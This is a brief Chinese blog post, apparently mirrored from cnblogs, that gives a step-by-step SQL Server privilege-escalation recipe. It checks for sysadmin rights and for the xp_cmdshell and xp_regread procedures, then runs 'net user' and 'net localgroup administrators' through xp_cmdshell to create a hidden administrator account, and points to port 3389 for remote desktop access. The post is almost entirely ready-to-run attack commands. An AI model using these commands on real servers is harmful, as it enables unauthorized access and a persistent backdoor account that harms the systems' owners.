zoukankan      html  css  js  c++  java
  • [提权禁区] SQL语句利用xp_cmdshell获取权限

    判断权限是不是sa

    select is_srvrolemember('sysadmin')

    返回是1说明是sa



    判断xp_cmdshell扩展存储是否存在

    select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'

    返回为l则证明存在



    判断xp_regread扩展存储过程是否存在

    select count(*) from master.dbo.sysobjects where name='xp_regread'

    返回1证明存在



    添加用户

    exec master..xp_cmdshell 'net user test test /add'

    exec master..xp_cmdshell 'net localgroup administrators test /add'



    后来就是查看3389端口了,

    exec master..xp_cmdshell 'XXXXX'里面输入cmd命令就是了

    文中资料引用:http://www.wooyun.org/bugs/wooyun-2010-037806

  • 相关阅读:
    记录我发现的第一个关于 Google 的 Bug
    iOS 中的 Delayed Transition
    Appstore|IPA
    地图|定位
    开发者账号
    App跳转
    国际化
    短信|彩信
    闪光灯
    Cornerstone|SVN
  • 原文地址:https://www.cnblogs.com/vincebye/p/5925349.html
Copyright © 2011-2022 走看看